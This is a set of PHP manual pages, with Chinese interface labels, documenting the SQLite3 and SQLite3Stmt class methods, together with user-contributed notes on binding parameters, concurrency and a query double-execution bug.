SQLite3::loadExtension — Attempts to load an SQLite extension library

说明

public SQLite3::loadExtension(string $name): bool

Attempts to load an SQLite extension library.

参数

name

The name of the library to load. The library must be located in the directory specified in the configure option sqlite3.extension_dir.

返回值

Returns true if the extension is successfully loaded, false on failure.

示例

Example #1 SQLite3::loadExtension() example

<?php
$db = new SQLite3('mysqlitedb.db');
$db->loadExtension('libagg.so');
?>

User Contributed Notes

RollingHog 12-May-2020 06:51
One more addition. If you need to setup non-thread-safe PHP on XAMPP/Apache to use loadextension, look at this article: https://paulshipley.id.au/blog/coding-tips/improve-php-performance-with-fastcgi-on-xampp-for-windows/

Tl;dr - you need to install&configure mod_fcgid module for Apache.
RollingHog 08-May-2020 07:15
For newbies like me: if loadExtension fails with "Not supported in multithreaded Web servers" message (which always happens on IIS and sometimes - on Apache), you need to use non-thread-safe build of PHP, which is not always a bad idea; see https://www.geeksforgeeks.org/what-is-thread-safe-or-non-thread-safe-in-php/


Opens an SQLite database

  • ? SQLite3::loadExtension
  • SQLite3::openBlob ?
  • PHP Manual
  • SQLite3
  • Opens an SQLite database

SQLite3::open

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::open — Opens an SQLite database

说明

public SQLite3::open(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, string $encryptionKey = ""): void

Opens an SQLite 3 Database. If the build includes encryption, then it will attempt to use the key.

参数

filename

Path to the SQLite database, or :memory: to use in-memory database.

flags

Optional flags used to determine how to open the SQLite database. By default, open uses SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE.

  • SQLITE3_OPEN_READONLY: Open the database for reading only.

  • SQLITE3_OPEN_READWRITE: Open the database for reading and writing.

  • SQLITE3_OPEN_CREATE: Create the database if it does not exist.

encryptionKey

An optional encryption key used when encrypting and decrypting an SQLite database. If the SQLite encryption module is not installed, this parameter will have no effect.

返回值

没有返回值。

示例

Example #1 SQLite3::open() example

<?php
/**
* Simple example of extending the SQLite3 class and changing the __construct
* parameters, then using the open method to initialize the DB.
*/
class MyDB extends SQLite3
{
function __construct()
{
$this->open('mysqlitedb.db');
}
}

$db = new MyDB();

$db->exec('CREATE TABLE foo (bar STRING)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

BenWa 09-Jul-2018 01:53
If you plan to have concurrent access to a SQLITE3 database, it is advised to change the default SQLite3::busyTimeout value (set to zero by default). Otherwise, you may get a "database locked" error while writing to the database.

With the timeout set to a non zero value, a write attempt to a locked database will wait for the lock to be released (within the timeout) before sending an error.

Note that the default value was set to 60 seconds on SQLITE2.
jtreurniet at example dot com 08-Jul-2017 08:27
Note that the SQLITE3_OPEN_READONLY flag cannot be combined with the SQLITE3_OPEN_CREATE flag. If you combine both of these flags, a rather unhelpful "Unable to open database: out of memory" exception will be thrown.
susan at itsasmartsolve dot co dot za 10-Jul-2016 03:45
[Editor's note: see <https://www.sqlite.org/backup.html>]

Just a quick note on not being able to open() two databases together and copy the exact info, say for instance to create a backup db. I searched the net for and answer, none of which served. The comment and solution of attaching seems complicated to me. Eventually I worked out that the same result could be more simply accomplished using the copy() function.
<?php
copy("old.db", "new.db");
?>
kbrobst at surveyresearchpartners dot com 07-Mar-2010 12:54
If you are trying to use the open() method to open multiple database files within the same SQLite3 object (which I could not get to work), here is an alternative way to do so using special SQLite3 syntax additions to the SQL language.  This took some investigation on my part, so hopefully the solution I found will help you too.

These are the nice features within SQLite3 that are leveraged:
* The create statement query for a table is stored within a table called "sqlite_master" within the parent database file.
* SQLite3 supports the "insert into...select * from" SQL syntax for doing bulkload-speed inserts into a table - but what if the source and target tables are in separate database files?
* SQLite3 has an "attach [filename] as [reference database name]" which will allow multiple database files to be opened and accessible to the same SQLite3 object.

Assume you have a table called "my_template" in the SQLite3 database file "source.db".  You want to make a copy of this table into the database file "target.db" and call the table "working_table".

<?php
//attach the source database file to the bulkload connection object;
$bulkload_connection = new SQLite3("c:/sqlite3_database_files/source.db");

//retrieve the create statement query for the source table;
$sourcetbl_create_statement = $bulkload_connection->querySingle("select sql from sqlite_master where type='table' and name='my_template'");
if ($sourcetbl_create_statement===false) exit($bulkload_connection->lastErrorMsg());

//build the create statement query for the target table;
$targettbl_create_statement = str_replace('CREATE TABLE my_template', 'CREATE TABLE bulkload.working_table', $sourcetbl_create_statement);

//attach the target database file to the bulkload connection object - and reference it as the database called [bulkload];
$result=$bulkload_connection->exec("attach 'c:/sqlite3_database_files/target.db' as bulkload");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//issue the query to create the target table within the target database file;
$result=$bulkload_connection->exec($targettbl_create_statement);
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//copy the rows from the source table to the target table as quickly as possible;
$result=$bulkload_connection->exec("insert into bulkload.working_table select * from my_template");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//release the OS file locks on the attached database files;
$bulkload_connection->close();
unset($bulkload_connection);
?>


Opens a stream resource to read a BLOB

  • ? SQLite3::open
  • SQLite3::prepare ?
  • PHP Manual
  • SQLite3
  • Opens a stream resource to read a BLOB

SQLite3::openBlob

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::openBlob — Opens a stream resource to read a BLOB

说明

public SQLite3::openBlob(
string $table,
string $column,
int $rowid,
string $database = "main",
int $flags = SQLITE3_OPEN_READONLY
): resource|false

Opens a stream resource to read or write a BLOB, which would be selected by:

SELECT column FROM database.table WHERE rowid = rowid

Note: It is not possible to change the size of a BLOB by writing to the stream. Instead, an UPDATE statement has to be executed, possibly using SQLite's zeroblob() function to set the desired BLOB size.

参数

table

The table name.

column

The column name.

rowid

The row ID.

database

The symbolic name of the DB

flags

Either SQLITE3_OPEN_READONLY or SQLITE3_OPEN_READWRITE to open the stream for reading only, or for reading and writing, respectively.

返回值

Returns a stream resource, 或者在失败时返回 false.

更新日志

版本 | 说明
7.2.0 | The flags parameter has been added, allowing to write BLOBs; formerly only reading was supported.

示例

Example #1 SQLite3::openBlob() example

<?php
$conn = new SQLite3(':memory:');
$conn->exec('CREATE TABLE test (text text)');
$conn->exec("INSERT INTO test VALUES ('Lorem ipsum')");
$stream = $conn->openBlob('test', 'text', 1);
echo stream_get_contents($stream);
fclose($stream); // mandatory, otherwise the next line would fail
$conn->close();
?>

以上示例会输出：

Lorem ipsum

Example #2 Incrementally writing a BLOB

<?php
$conn = new SQLite3(':memory:');
$conn->exec('CREATE TABLE test (text text)');
$conn->exec("INSERT INTO test VALUES (zeroblob(36))");
$stream = $conn->openBlob('test', 'text', 1, 'main', SQLITE3_OPEN_READWRITE);
for ($i = 0; $i < 3; $i++) {
fwrite($stream, "Lorem ipsum\n");
}
fclose($stream);
echo $conn->querySingle("SELECT text FROM test");
$conn->close();
?>

以上示例会输出：

Lorem ipsum
Lorem ipsum
Lorem ipsum

User Contributed Notes

There are no user contributed notes for this page.


Prepares an SQL statement for execution

  • ? SQLite3::openBlob
  • SQLite3::query ?
  • PHP Manual
  • SQLite3
  • Prepares an SQL statement for execution

SQLite3::prepare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::prepare — Prepares an SQL statement for execution

说明

public SQLite3::prepare(string $query): SQLite3Stmt|false

Prepares an SQL statement for execution and returns an SQLite3Stmt object.

参数

query

The SQL query to prepare.

返回值

Returns an SQLite3Stmt object on success 或者在失败时返回 false.

示例

Example #1 SQLite3::prepare() example

<?php
unlink('mysqlitedb.db');
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray());
?>

参见

  • SQLite3Stmt::paramCount() - Returns the number of parameters within the prepared statement
  • SQLite3Stmt::bindValue() - Binds the value of a parameter to a statement variable
  • SQLite3Stmt::bindParam() - Binds a parameter to a statement variable

User Contributed Notes

Venkata Subbaraju 22-Jan-2016 12:27
Without checking the return value of "prepare" if "exec" is used then it will cause Fatal Error.

"PHP Fatal error:  Call to a member function execute() on a non-object "

To avoid this error,need to check return value as following:

<?php
 $db = new SQLite3('school.db');
 if($stmt = $db->prepare('SELECT id,student_name FROM classTen '))
 {
         $result = $stmt->execute();
         $names=array();
         while($arr=$result->fetchArray(SQLITE3_ASSOC))
         {
          $names[$arr['id']]=$arr['student_name'];
         }
}
?>


Executes an SQL query

  • ? SQLite3::prepare
  • SQLite3::querySingle ?
  • PHP Manual
  • SQLite3
  • Executes an SQL query

SQLite3::query

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::query — Executes an SQL query

说明

public SQLite3::query(string $query): SQLite3Result|false

Executes an SQL query, returning an SQLite3Result object. If the query does not yield a result (such as DML statements) the returned SQLite3Result object is not really usable. Use SQLite3::exec() for such queries instead.

参数

query

The SQL query to execute.

返回值

Returns an SQLite3Result object, 或者在失败时返回 false.

示例

Example #1 SQLite3::query() example

<?php
$db = new SQLite3('mysqlitedb.db');

$results = $db->query('SELECT bar FROM foo');
while ($row = $results->fetchArray()) {
var_dump($row);
}
?>

User Contributed Notes

paule-panke at example dot com 12-Feb-2017 01:55
Check with SQLite3Result::numColumns() for an empty result before calling SQLite3Result::fetchArray().

In contrast to the documentation SQLite3::query() always returns a SQLite3Result instance, not only for queries returning rows (SELECT, EXPLAIN). Each time SQLite3Result::fetchArray() is called on a result from a result-less query internally the query is executed again, which will most probably break your application.
For a framwork or API it's not possible to know in before whether or not a query will return rows (SQLite3 supports multi-statement queries). Therefore the argument "Don't execute query('CREATE ...')" is not valid.
bohwaz 13-Mar-2013 11:47
The recommended way to do a SQLite3 query is to use a statement. For a table creation, a query might be fine (and easier) but for an insert, update or select, you should really use a statement, it's really easier and safer as SQLite will escape your parameters according to their type. SQLite will also use less memory than if you created the whole query by yourself. Example:

<?php

$db = new SQLite3;
$statement = $db->prepare('SELECT * FROM table WHERE id = :id;');
$statement->bindValue(':id', $id);

$result = $statement->execute();

?>

You can also re-use a statement and change its parameters, just do $statement->reset(). Finally don't forget to close a statement when you don't need it anymore as it will free some memory.


Executes a query and returns a single result

  • ? SQLite3::query
  • SQLite3::setAuthorizer ?
  • PHP Manual
  • SQLite3
  • Executes a query and returns a single result

SQLite3::querySingle

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::querySingle — Executes a query and returns a single result

说明

public SQLite3::querySingle(string $query, bool $entireRow = false): mixed

Executes a query and returns a single result.

参数

query

The SQL query to execute.

entireRow

By default, querySingle() returns the value of the first column returned by the query. If entireRow is true, then it returns an array of the entire first row.

返回值

Returns the value of the first column of results or an array of the entire first row (if entireRow is true).

If the query is valid but no results are returned, then null will be returned if entireRow is false, otherwise an empty array is returned.

Invalid or failing queries will return false.

示例

Example #1 SQLite3::querySingle() example

<?php
$db = new SQLite3('mysqlitedb.db');

var_dump($db->querySingle('SELECT username FROM user WHERE userid=1'));
print_r($db->querySingle('SELECT username, email FROM user WHERE userid=1', true));
?>

以上示例的输出类似于：

string(5) "Scott"
Array
(
    [username] => Scott
    [email] => scott@example.com
)

User Contributed Notes

There are no user contributed notes for this page.


Configures a callback to be used as an authorizer to limit what a statement can do

  • ? SQLite3::querySingle
  • SQLite3::version ?
  • PHP Manual
  • SQLite3
  • Configures a callback to be used as an authorizer to limit what a statement can do

SQLite3::setAuthorizer

(PHP 8)

SQLite3::setAuthorizer — Configures a callback to be used as an authorizer to limit what a statement can do

说明

public SQLite3::setAuthorizer(?callable $callback): bool

Sets a callback that will be called by SQLite every time an action is performed (reading, deleting, updating, etc.). This is used when preparing a SQL statement from an untrusted source to ensure that the SQL statements do not try to access data they are not allowed to see, or that they do not try to execute malicious statements that damage the database. For example, an application may allow a user to enter arbitrary SQL queries for evaluation by a database. But the application does not want the user to be able to make arbitrary changes to the database. An authorizer could then be put in place while the user-entered SQL is being prepared that disallows everything except SELECT statements.

The authorizer callback may be called multiple times for each statement prepared by SQLite. A SELECT or UPDATE query will call the authorizer for every column that would be read or updated.

The authorizer is called with up to five parameters. The first parameter is always given, and is an int (action code) matching a constant from SQLite3. The other parameters are only passed for some actions. The following table describes the second and third parameters according to the action:

List of action codes and parameters
Action | Second parameter | Third parameter
SQLite3::CREATE_INDEX | Index Name | Table Name
SQLite3::CREATE_TABLE | Table Name | null
SQLite3::CREATE_TEMP_INDEX | Index Name | Table Name
SQLite3::CREATE_TEMP_TABLE | Table Name | null
SQLite3::CREATE_TEMP_TRIGGER | Trigger Name | Table Name
SQLite3::CREATE_TEMP_VIEW | View Name | null
SQLite3::CREATE_TRIGGER | Trigger Name | Table Name
SQLite3::CREATE_VIEW | View Name | null
SQLite3::DELETE | Table Name | null
SQLite3::DROP_INDEX | Index Name | Table Name
SQLite3::DROP_TABLE | Table Name | null
SQLite3::DROP_TEMP_INDEX | Index Name | Table Name
SQLite3::DROP_TEMP_TABLE | Table Name | null
SQLite3::DROP_TEMP_TRIGGER | Trigger Name | Table Name
SQLite3::DROP_TEMP_VIEW | View Name | null
SQLite3::DROP_TRIGGER | Trigger Name | Table Name
SQLite3::DROP_VIEW | View Name | null
SQLite3::INSERT | Table Name | null
SQLite3::PRAGMA | Pragma Name | First argument passed to the pragma, or null
SQLite3::READ | Table Name | Column Name
SQLite3::SELECT | null | null
SQLite3::TRANSACTION | Operation | null
SQLite3::UPDATE | Table Name | Column Name
SQLite3::ATTACH | Filename | null
SQLite3::DETACH | Database Name | null
SQLite3::ALTER_TABLE | Database Name | Table Name
SQLite3::REINDEX | Index Name | null
SQLite3::ANALYZE | Table Name | null
SQLite3::CREATE_VTABLE | Table Name | Module Name
SQLite3::DROP_VTABLE | Table Name | Module Name
SQLite3::FUNCTION | null | Function Name
SQLite3::SAVEPOINT | Operation | Savepoint Name
SQLite3::RECURSIVE | null | null

The 4th parameter will be the name of the database ("main", "temp", etc.) if applicable.

The 5th parameter to the authorizer callback is the name of the inner-most trigger or view that is responsible for the access attempt or null if this access attempt is directly from top-level SQL code.

When the callback returns SQLite3::OK, that means the operation requested is accepted. When the callback returns SQLite3::DENY, the call that triggered the authorizer will fail with an error message explaining that access is denied.

If the action code is SQLite3::READ and the callback returns SQLite3::IGNORE then the prepared statement is constructed to substitute a null value in place of the table column that would have been read if SQLite3::OK had been returned. The SQLite3::IGNORE return can be used to deny an untrusted user access to individual columns of a table.

When a table is referenced by a SELECT but no column values are extracted from that table (for example in a query like "SELECT count(*) FROM table") then the SQLite3::READ authorizer callback is invoked once for that table with a column name that is an empty string.

If the action code is SQLite3::DELETE and the callback returns SQLite3::IGNORE then the DELETE operation proceeds but the truncate optimization is disabled and all rows are deleted individually.

Only a single authorizer can be in place on a database connection at a time. Each call to SQLite3::setAuthorizer() overrides the previous call. Disable the authorizer by installing a null callback. The authorizer is disabled by default.

The authorizer callback must not do anything that will modify the database connection that invoked the authorizer callback.

Note that the authorizer is only called when a statement is prepared, not when it's executed.

More details can be found in the » SQLite3 documentation.

参数

callback

The callable to be called.

If null is passed instead, this will disable the current authorizer callback.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method doesn't throw any error, but if an authorizer is enabled and returns an invalid value, the statement preparation will throw an error (or exception, depending on the use of the SQLite3::enableExceptions() method).

示例

Example #1 SQLite3::setAuthorizer() example

This only allows access to reading, and only some columns of the users table will be returned. Other columns will be replaced with null.

<?php
$db = new SQLite3('data.sqlite');
$db->exec('CREATE TABLE users (id, name, password);');
$db->exec('INSERT INTO users VALUES (1, \'Pauline\', \'Snails4eva\');');

$allowed_columns = ['id', 'name'];

$db->setAuthorizer(function (int $action, ...$args) use ($allowed_columns) {
if ($action === SQLite3::READ) {
list($table, $column) = $args;

if ($table === 'users' && in_array($column, $allowed_columns) {
return SQLite3::OK;
}

return SQLite3::IGNORE;
}

return SQLite3::DENY;
});

print_r($db->querySingle('SELECT * FROM users WHERE id = 1;'));

以上示例会输出：

Array
(
    [id] => 1
    [name] => Pauline
    [password] =>
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the SQLite3 library version as a string constant and as a number

  • ? SQLite3::setAuthorizer
  • SQLite3Stmt ?
  • PHP Manual
  • SQLite3
  • Returns the SQLite3 library version as a string constant and as a number

SQLite3::version

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::version — Returns the SQLite3 library version as a string constant and as a number

说明

public static SQLite3::version(): array

Returns the SQLite3 library version as a string constant and as a number.

参数

此函数没有参数。

返回值

Returns an associative array with the keys "versionString" and "versionNumber".

示例

Example #1 SQLite3::version() example

<?php
print_r(SQLite3::version());
?>

以上示例的输出类似于：

Array
(
    [versionString] => 3.5.9
    [versionNumber] => 3005009
)

User Contributed Notes

There are no user contributed notes for this page.


SQLite3Stmt 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

处理 SQLite 3 扩展语句模板的类。

类摘要

class SQLite3Stmt {
/* 方法 */
private __construct(SQLite3 $sqlite3, string $query)
public bindParam(string|int $param, mixed &$var, int $type = SQLITE3_TEXT): bool
public bindValue(string|int $param, mixed $value, int $type = SQLITE3_TEXT): bool
public clear(): bool
public close(): bool
public execute(): SQLite3Result|false
public getSQL(bool $expand = false): string|false
public paramCount(): int
public readOnly(): bool
public reset(): bool
}

Table of Contents

  • SQLite3Stmt::bindParam — Binds a parameter to a statement variable
  • SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable
  • SQLite3Stmt::clear — Clears all current bound parameters
  • SQLite3Stmt::close — Closes the prepared statement
  • SQLite3Stmt::__construct — Constructs an SQLite3Stmt object
  • SQLite3Stmt::execute — Executes a prepared statement and returns a result set object
  • SQLite3Stmt::getSQL — Get the SQL of the statement
  • SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement
  • SQLite3Stmt::readOnly — Returns whether a statement is definitely read only
  • SQLite3Stmt::reset — Resets the prepared statement

User Contributed Notes

There are no user contributed notes for this page.


Binds a parameter to a statement variable

  • ? SQLite3Stmt
  • SQLite3Stmt::bindValue ?
  • PHP Manual
  • SQLite3Stmt
  • Binds a parameter to a statement variable

SQLite3Stmt::bindParam

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::bindParam — Binds a parameter to a statement variable

说明

public SQLite3Stmt::bindParam(string|int $param, mixed &$var, int $type = SQLITE3_TEXT): bool

Binds a parameter to a statement variable.

Caution

Before PHP 7.2.14 and 7.3.0, respectively, SQLite3Stmt::reset() must be called after the first call to SQLite3Stmt::execute() if the bound value should be properly updated on following calls to SQLite3Stmt::execute(). If SQLite3Stmt::reset() is not called, the bound value will not change, even if the value assigned to the variable passed to SQLite3Stmt::bindParam() has changed, or SQLite3Stmt::bindParam() has been called again.

参数

param

Either a string (for named parameters) or an int (for positional parameters) identifying the statement variable to which the value should be bound. If a named parameter does not start with a colon (:) or an at sign (@), a colon (:) is automatically preprended. Positional parameters start with 1.

var

The parameter to bind to a statement variable.

type

The data type of the parameter to bind.

  • SQLITE3_INTEGER: The value is a signed integer, stored in 1, 2, 3, 4, 6, or 8 bytes depending on the magnitude of the value.

  • SQLITE3_FLOAT: The value is a floating point value, stored as an 8-byte IEEE floating point number.

  • SQLITE3_TEXT: The value is a text string, stored using the database encoding (UTF-8, UTF-16BE or UTF-16-LE).

  • SQLITE3_BLOB: The value is a blob of data, stored exactly as it was input.

  • SQLITE3_NULL: The value is a NULL value.

As of PHP 7.0.7, if type is omitted, it is automatically detected from the type of the var: bool and int are treated as SQLITE3_INTEGER, float as SQLITE3_FLOAT, null as SQLITE3_NULL and all others as SQLITE3_TEXT. Formerly, if type has been omitted, it has defaulted to SQLITE3_TEXT.

Note:

If var is null, it is always treated as SQLITE3_NULL, regardless of the given type.

返回值

Returns true if the parameter is bound to the statement variable, false on failure.

更新日志

版本 | 说明
7.4.0 | param now also supports the @param notation.

示例

Example #1 SQLite3Stmt::bindParam() Usage

This example shows how a single prepared statement with a single parameter binding can be used to insert multiple rows with different values.

<?php
$db = new SQLite3(':memory:');
$db->exec("CREATE TABLE foo (bar TEXT)");

$stmt = $db->prepare("INSERT INTO foo VALUES (:bar)");
$stmt->bindParam(':bar', $bar, SQLITE3_TEXT);

$bar = 'baz';
$stmt->execute();

$bar = 42;
$stmt->execute();

$res = $db->query("SELECT * FROM foo");
while (($row = $res->fetchArray(SQLITE3_ASSOC))) {
var_dump($row);
}
?>

以上示例会输出：

array(1) {
  ["bar"]=>
  string(3) "baz"
}
array(1) {
  ["bar"]=>
  string(2) "42"
}

参见

  • SQLite3Stmt::bindValue() - Binds the value of a parameter to a statement variable
  • SQLite3::prepare() - Prepares an SQL statement for execution

User Contributed Notes

Anonymous 19-Oct-2014 06:31
Note that this bindParam needs a variable as the second parameter.
Use bindValue if you want to bind a value, such an array item.


Binds the value of a parameter to a statement variable

  • ? SQLite3Stmt::bindParam
  • SQLite3Stmt::clear ?
  • PHP Manual
  • SQLite3Stmt
  • Binds the value of a parameter to a statement variable

SQLite3Stmt::bindValue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable

说明

public SQLite3Stmt::bindValue(string|int $param, mixed $value, int $type = SQLITE3_TEXT): bool

Binds the value of a parameter to a statement variable.

Caution

Before PHP 7.2.14 and 7.3.0, respectively, once the statement has been executed, SQLite3Stmt::reset() needs to be called to be able to change the value of bound parameters.

参数

param

Either a string (for named parameters) or an int (for positional parameters) identifying the statement variable to which the value should be bound. If a named parameter does not start with a colon (:) or an at sign (@), a colon (:) is automatically preprended. Positional parameters start with 1.

value

The value to bind to a statement variable.

type

The data type of the value to bind.

  • SQLITE3_INTEGER: The value is a signed integer, stored in 1, 2, 3, 4, 6, or 8 bytes depending on the magnitude of the value.

  • SQLITE3_FLOAT: The value is a floating point value, stored as an 8-byte IEEE floating point number.

  • SQLITE3_TEXT: The value is a text string, stored using the database encoding (UTF-8, UTF-16BE or UTF-16-LE).

  • SQLITE3_BLOB: The value is a blob of data, stored exactly as it was input.

  • SQLITE3_NULL: The value is a NULL value.

As of PHP 7.0.7, if type is omitted, it is automatically detected from the type of the value: bool and int are treated as SQLITE3_INTEGER, float as SQLITE3_FLOAT, null as SQLITE3_NULL and all others as SQLITE3_TEXT. Formerly, if type has been omitted, it has defaulted to SQLITE3_TEXT.

Note:

If value is null, it is always treated as SQLITE3_NULL, regardless of the given type.

返回值

Returns true if the value is bound to the statement variable, 或者在失败时返回 false.

更新日志

版本 | 说明
7.4.0 | param now also supports the @param notation.

示例

Example #1 SQLite3Stmt::bindValue() example

<?php
$db = new SQLite3(':memory:');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray(SQLITE3_ASSOC));
?>

以上示例会输出：

array(1) {
  ["bar"]=>
  string(14) "This is a test"
}

参见

  • SQLite3Stmt::bindParam() - Binds a parameter to a statement variable
  • SQLite3::prepare() - Prepares an SQL statement for execution

User Contributed Notes

vaibhavatul47 at gmail dot com 13-Apr-2016 12:42
I used following logic to prepare statements, It handles both Values and Arrays ( taking help from bohwaz note) :

<?php
    function getArgType($arg) {
        switch (gettype($arg)) {
            case 'double':  return SQLITE3_FLOAT;
            case 'integer': return SQLITE3_INTEGER;
            case 'boolean': return SQLITE3_INTEGER;
            case 'NULL':    return SQLITE3_NULL;
            case 'string':  return SQLITE3_TEXT;
            default:
                throw new \InvalidArgumentException('Argument is of invalid type '.gettype($arg));
        }
    }

foreach ($params as $index => $val) {
                // indexing start from 1 in Sqlite statement
                if (is_array($val)) {
                    $ok = $stmt->bindParam($index + 1, $val);
                } else {
                    $ok = $stmt->bindValue($index + 1, $val, getArgType($val));
                }

                if (!$ok) {
                    throw new Exception("Unable to bind param: $val");
                }
            }
?>
andrevanzuydam at gmail dot com 06-Jul-2015 01:41
I just want to say again,

Numbering for parameters starts at ONE!

This has caught me out quite a few times!
bohwaz 18-Jan-2015 04:49
It might be a good idea to feed bindValue the type of the variable manually, or you might encounter weird stuff as the passed value is often treated as SQLITE3_TEXT and results in buggy queries.

For example:
<?php
$st = $db->prepare('SELECT * FROM test WHERE (a+1) = ?');
$st->bindValue(1, 2);
?>

Will never return any result as it is treated by SQLite as if the query was 'SELECT * FROM test WHERE (a+1) = "2"'. Instead you have to set the type manually:

<?php
$st = $db->prepare('SELECT * FROM test WHERE (a+1) = ?');
$st->bindValue(1, 2, \SQLITE3_INTEGER);
?>

And it will work. This bug is reported in https://bugs.php.net/bug.php?id=68849

Here is a simple function to help you make bindValue work correctly:

<?php
function getArgType($arg)
{
    switch (gettype($arg))
    {
        case 'double': return SQLITE3_FLOAT;
        case 'integer': return SQLITE3_INTEGER;
        case 'boolean': return SQLITE3_INTEGER;
        case 'NULL': return SQLITE3_NULL;
        case 'string': return SQLITE3_TEXT;
        default:
            throw new \InvalidArgumentException('Argument is of invalid type '.gettype($arg));
    }
}
?>
zeebinz at gmail dot com 23-Jul-2010 07:54
Note that this also works with positional placeholders using the '?' token:

<?php

$stmt = $db->prepare('SELECT * FROM mytable WHERE foo = ? AND bar = ?');
$stmt->bindValue(1, 'somestring', SQLITE3_TEXT);
$stmt->bindValue(2, 42, SQLITE3_INTEGER);

?>

Positional numbering starts at 1.


Clears all current bound parameters

  • ? SQLite3Stmt::bindValue
  • SQLite3Stmt::close ?
  • PHP Manual
  • SQLite3Stmt
  • Clears all current bound parameters

SQLite3Stmt::clear

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::clear — Clears all current bound parameters

说明

public SQLite3Stmt::clear(): bool

Clears all current bound parameters (sets them to null).

Caution

This method needs to be used with SQLite3Stmt::reset(). If used alone, any call to SQLite3Stmt::bindValue() or SQLite3Stmt::bindParam() will be of no effect and all bound parameters will have the null value.

参数

此函数没有参数。

返回值

Returns true on successful clearing of bound parameters, false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Closes the prepared statement

  • ? SQLite3Stmt::clear
  • SQLite3Stmt::__construct ?
  • PHP Manual
  • SQLite3Stmt
  • Closes the prepared statement

SQLite3Stmt::close

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::close — Closes the prepared statement

说明

public SQLite3Stmt::close(): bool

Closes the prepared statement.

Note: Note that all SQLite3Results that have been retrieved by executing this statement will be invalidated when the statement is closed.

参数

此函数没有参数。

返回值

Returns true

User Contributed Notes

There are no user contributed notes for this page.


Constructs an SQLite3Stmt object

  • ? SQLite3Stmt::close
  • SQLite3Stmt::execute ?
  • PHP Manual
  • SQLite3Stmt
  • Constructs an SQLite3Stmt object

SQLite3Stmt::__construct

(No version information available, might only be in Git)

SQLite3Stmt::__construct — Constructs an SQLite3Stmt object

说明

private SQLite3Stmt::__construct(SQLite3 $sqlite3, string $query)

SQLite3Stmt instances are created by SQLite3::prepare().

参数

sqlite3

query

User Contributed Notes

There are no user contributed notes for this page.


Executes a prepared statement and returns a result set object

  • ? SQLite3Stmt::__construct
  • SQLite3Stmt::getSQL ?
  • PHP Manual
  • SQLite3Stmt
  • Executes a prepared statement and returns a result set object

SQLite3Stmt::execute

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::execute — Executes a prepared statement and returns a result set object

说明

public SQLite3Stmt::execute(): SQLite3Result|false

Executes a prepared statement and returns a result set object.

Caution

Result set objects retrieved by calling this method on the same statement object are not independent, but rather share the same underlying structure. Therefore it is recommended to call SQLite3Result::finalize(), before calling SQLite3Stmt::execute() on the same statement object again.

参数

此函数没有参数。

返回值

Returns an SQLite3Result object on successful execution of the prepared statement, false on failure.

参见

  • SQLite3::prepare() - Prepares an SQL statement for execution
  • SQLite3Stmt::bindValue() - Binds the value of a parameter to a statement variable
  • SQLite3Stmt::bindParam() - Binds a parameter to a statement variable

User Contributed Notes

macguru 28-May-2017 08:08
I had luck in avoiding prepared statements from executing multiple times by finalize()'ing the result after execution.

$stmt->execute()->finalize();

Hope this helps others.
gmail@asmqb7 29-May-2016 07:08
There's currently an issue in the SQLite3 PHP binding (not SQLite3 itself) that causes all queries to be executed twice. It has apparently existed for quite a while.

See here for more info: https://bugs.php.net/bug.php?id=64531

Before discovering the above, I posted this: http://stackoverflow.com/questions/36617708/odd-behavior-with-sqlite3-non-select-prepared-transactions-and-fetcharray (includes copy-paste bug demo)

Workaround: I strongly recommend wrapping any code that might run fetchArray() on non-SELECT query results inside a numColumns() check, like this:

<?php

$op = $db->prepare(...);

$r = $op->execute(); // query #1

if ($r->numColumns()) { // returns column count, here being used as true/false test
  while ($row = $r->fetchArray(SQLITE3_ASSOC)) { // query #2
    // your code here
  }
}

?>

To clarify:

- Query #1 is where the SQLite3 query is executed the first time, query #2 is where the query is executed again. Yes, *everything* is executed twice; this is the bug.

- If your code will only read from and not alter the database (so, a SELECT that won't cause database-altering triggers to run, for example), you're fine. Your query runs twice but it doesn't alter the result.

- If your code will write to the database - for example an INSERT - you MUST not run fetchArray() (and execute the query again) if the number of columns is zero.

- It's not documented in the manual but over here -http://php.net/manual/en/book.sqlite3.php#113144 - user 'bohwaz' mentions that there's also a SQLite3Stmt::readOnly() function since PHP 5.3.11 which will tell you if you just wrote to the DB. This is currently undocumented but might be a more appropriate alternative to numColumns() (I'm not sure what it does, it might be the same).

You might prefer PDO for higher-volume work with SQLite3. This binding is ironically lighter-weight and provides direct access to some SQLite3-specific primitives and behavior... but it runs all queries twice.

